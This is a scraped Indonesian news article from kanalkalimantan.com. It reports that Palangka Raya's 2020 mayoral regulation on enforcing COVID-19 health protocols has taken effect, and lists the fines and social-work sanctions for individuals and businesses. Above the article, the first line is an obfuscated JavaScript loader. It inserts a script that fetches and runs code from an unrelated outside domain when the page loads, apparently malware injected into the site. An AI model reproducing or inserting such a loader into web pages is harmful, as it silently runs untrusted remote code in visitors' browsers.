(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Palangkaraya

Resmi Perwali Protokol Kesehatan Berlaku di Palangka Raya, Berikut Ini Sejumlah Sanksi bagi Pelanggar


KANALKALIMANTAN.COM, PALANGKA RAYA — Terhitung 14 September 2020, Pemerintah Kota (Pemko) Palangka Raya resmi memberlakukan Peraturan Wali Kota (Perwali) nomor 26 tahun 2020, tentang penerapan disiplin dan penegakan hukum protokol kesehatan dalam rangka percepatan penanganan Covid-19 dan pemulihan ekonomi.

Pemberlakukan Perwali dipimpin Wakil Wali Kota Palangka Raya Umi Mastikah, di halaman Balai Kota, Senin (14/9/2020).

Subjek pengaturan Perwali meliputi perorangan, pelaku usaha dan pengelola, penyelenggara, atau penanggung jawab tempat dan fasilitas umum.

Dalam Perwali itu, salah satu yang disebutkan yakni bagi setiap orang yang melanggar ketentuan protokol kesehatan yaitu tidak memakai masker akan dikenakan kerja sosial ataupun denda administratif sebesar Rp 100.000.

Sanksi kerja sosial antara lain menyapu jalan umum dengan waktu paling sedikit dua jam dan paling lama selama seminggu setiap hari untuk pelanggar yang berulang.

Kemudian menjadi relawan pada satuan tugas penanganan Covid-19 selama tiga hari ataupun membersihkan fasilitas umum atau fasilitas sosial selama satu hari.

Sedangkan pelaku usaha, pengelola, penyelenggara atau penanggung jawab tempat dan fasilitas umum, tak hanya teguran tertulis, tapi juga rekomendasi
pencabutan jabatan pada pengelola atau penutupan pembubaran kegiatan.

Kemudian penyegelan sementara, rekomendasi pencabutan izin operasional. Bahkan denda administratif berkisar Rp 5 juta hingga Rp 15 juta.

Tempat dan fasilitas umum dimaksud yaitu sekolah/institusi pendidikan lainnya. Stasiun, terminal, pelabuhan, dan bandar udara, transportasi umum, toko, pasar modern, dan pasar tradisional.

Apotek dan toko obat area publik, tempat lainnya yang dapat memungkinkan adanya kerumunan massa.

Tempat dan fasilitas umum yang harus memperhatikan protokol kesehatan lainnya warung makan, rumah makan, cafe, dan restoran.

Pedagang kaki lima/lapak jajanan, perhotelan/penginapan lain yang sejenis, tempat wisata dan fasilitas pelayanan kesehatan. (kanalkalimantan.com/tri)

 

Reporter: Tri
Editor : Bie


Desy Arfianty

Recent Posts

LITERASI EMOSIONAL DI MEDIA SOSIAL: MENGELOLA EMOSI DAN INTERKASI ONLINE

"WEBINAR INDONESIA MAKIN CAKAP DIGITAL" WILAYAH KALIMANTAN Read More

12 menit ago

Wabup Banjar Hadiri Haul Ke-68 KH Zainal Ilmi

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi betbaur dengan ribuan orang menghadiri… Read More

52 menit ago

Simulasi Keadaan Darurat di Terminal BBM Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - PT Pertamina Patra Niaga Integrated Terminal Banjarmasin melakukan simulasi keadaan darurat bersama… Read More

11 jam ago

Lawatan Politik Lisa Halaby Berlanjut ke PKS dan Demokrat

KANALKALIMANTAN.COM, BANJARBARU – Lawatan politik Erna Lisa Halaby terus berlanjut mendatangi dua partai politik jelang… Read More

12 jam ago

Kloter 1 Banjarmasin Sudah di Mekah, Kloter 8 Diterbangkan Hari Ini

KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter 1 Embarkasi Banjarmasin dari Kabupaten Banjar, Kalimantan Selatan (Kalsel)… Read More

13 jam ago

Pj Bupati Kapuas Ngopi Santai Bersama Warga Pulau Telo

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi, ngopi santai bareng mendengar aspirasi… Read More

14 jam ago

This website uses cookies.